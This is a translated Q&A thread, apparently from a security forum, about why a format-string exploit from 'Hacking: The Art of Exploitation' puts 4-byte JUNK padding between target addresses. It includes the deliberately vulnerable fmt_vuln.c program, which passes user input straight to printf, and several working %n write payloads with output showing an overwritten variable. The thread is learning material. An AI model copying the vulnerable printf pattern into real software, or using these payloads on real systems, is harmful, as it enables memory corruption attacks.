为什么 printf() 漏洞需要 4 字节的垃圾数据?- “黑客:剥削的艺术”

信息安全 开发 已知漏洞 记忆 脆弱性
2021-09-11 09:00:49

我一直在阅读“黑客:剥削的艺术第二版”。我遇到了一个对我来说解释不够清楚的部分。

在“写入任意地址”一节中,Jon Erickson 创建了一个易受攻击的小 c 程序(称为 fmt_vuln),它将格式参数(例如 %x)作为第一个参数传递给 printf。这样做将从堆栈帧的顶部开始 printf 读取。然后他利用这个漏洞写入任意地址 0x08049794。

下面的代码 ( fmt_vuln.c) 是目标程序。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int argc, char *argv[]) {
  char text[1024];
  static int test_val = -72;
  if(argc < 2) {
    printf("Usage: %s <text to print>\n", argv[0]);
    exit(0);
 }
  strcpy(text, argv[1]);
  printf("The right way to print user-controlled input:\n");
  printf("%s", text);
  printf("\nThe wrong way to print user-controlled input:\n");
  printf(text);
  printf("\n");

  // Debug output
  printf("[*] test_val @ 0x%08x = %d 0x%08x\n", &test_val, test_val, test_val);

  exit(0);
}

使用此漏洞,我试图将值“0xDDCCBBAA”写入test_val. 程序的输出显示它test_val位于 0x08049794。

该漏洞利用如下所示:

./fmt_vuln $(printf "\x94\x97\x04\x08")%x%x%150x%n

这会将十六进制值 0xAA 写入地址 0x08049794。

4 次写入顺序地址,从 0x08049794 开始,每次添加 1 个字节应该可以实现这一点。第一次写入 0xAA,然后第二次写入 0xBB 到 0x08049795,第三次写入 0xCC 到 0x08049796,最后一次写入 0xDD 到 0x08049797。

这本书使用这样的漏洞利用:

reader@hacking:~/booksrc $ gdb -q --batch -ex "p 0xaa - 52 + 8"
$1 = 126

reader@hacking:~/booksrc $ ./fmt_vuln $(printf "\x94\x97\x04\x08JUNK\x95\x97\x04\x08JUNK\x96\
x97\x04\x08JUNK\x97\x97\x04\x08")%x%x%126x%n%17x%n%17x%n%17x%n
The right way to print user-controlled input:
??JUNK??JUNK??JUNK??%x%x%126x%n
The wrong way to print user-controlled input:
??JUNK??JUNK??JUNK??bffff3c0b7fe75fc
0
[*] test_val @ 0x08049794 = 170 0xddccbbaa
reader@hacking:~/booksrc $

我的问题是:

为什么我需要地址之间的 4 字节垃圾数据?作者使用“JUNK”这个词是因为它是一个任意的 4 字节字符串,但它可以是任何 4 字节长的字符串。但他从未解释为什么需要 4 字节的 JUNK 数据。它只说“另一个 %x 格式参数需要另一个参数来将字节数增加到 187,即十进制的 0xBB”。

3个回答

我想这取决于编译器和您正在运行的系统并有所不同。

例如,您提供的测试代码对我有用的是:(在 ubuntu 32 位机器上)

\x30\xa0\x04\x08\x31\xa0\x04\x08\x32\xa0\x04\x08\x33\xa0\x04\x08%154x%4$n%17x%5$n%17x%6$n %17x%7$n

前 16 个字节是我要注入的地址:0x0804a030、0x0804a031、0x0804a032、0x0804a033 - 因为在我的例子中 test_val 的地址是 0x0804a030。

然后 %154x 告诉 printf 用 154 个字符填充输出。由于到目前为止打印了 16 个字符 154 + 16 = 170 = 0xAA

然后 %4$n 告诉 printf 将值写入传递给 printf 的第四个参数中的地址。该值是通过反复试验找到的,以便找到您的输入在堆栈中的哪个偏移量,并使 printf 将其用作目标地址。您可以注入 AAAA%p%p%p...%p 以查找 41414141 值所在的位置,然后您就知道了您的偏移量。在我的情况下是4。

其余的只是添加 17 = 0x11 字符,以便将注入的值增加到想要的值并使 printf 将其写入下一个指针,在我的情况下为 5、6 和 7

我猜作者在他的案例中需要 4 个额外字节的原因是编译器在他的案例中处理堆栈上的参数的方式。也许它们应该被 4 个字节分隔,因此他不能在不填充它们之间的 4 个字节的情况下注入地址。

如果我用 JUNK 4 字节注入字符串,我必须稍后输入:

\x30\xa0\x04\x08JUNK\x31\xa0\x04\x08JUNK\x32\xa0\x04\x08JUNK\x33\xa0\x04\x08%142x%4$n%17x%6$n%17x%8$n %17x%10$n

将目标指针更改为 4、6、8、10,因为在 5、7 和 9 中找到了 JUNK 字节。

这是关于此事的优秀博客文章的链接: http ://codearcana.com/posts/2013/05/02/introduction-to-format-string-exploits.html

他们在那里%17x打印。前四个字节 ( \x94\x97\x04\x08) 充当%n地址,接下来的四个 ( JUNK) 格式化为%17x,接下来的四个 ( \x95\x97\x04\x08) 充当第二个%n,依此类推。

您可以没有它们,例如使用类似的东西

\x94\x97\x04\x08\x95\x97\x04\x08\x96\x97\x04\x08\x97\x97\x04\x08%x%x%126x%n%n%n%n

将值 0xAAAAAAAAA 写入 test_val

每个格式参数作用于每个连续字节。您不能使用 %x 来读取包含要写入的地址的字节之一并将空格添加到其中,因为这样 %n 将应用于下一个字节。

换句话说, %x 用于读取和添加空格。一旦添加了空格,就可以将该值写入您提供的地址,使用 %n。所以 %x 必须在 %n 之前完成。%x 作用于其中一个 4 字节的字,所以作者为 %x 创建了一个 4 字节的字在上面创建空格,然后下一个 4 字节的字就是内存地址,也就是 % n 写入。

我希望这可以为像我这样的新手在未来清除它。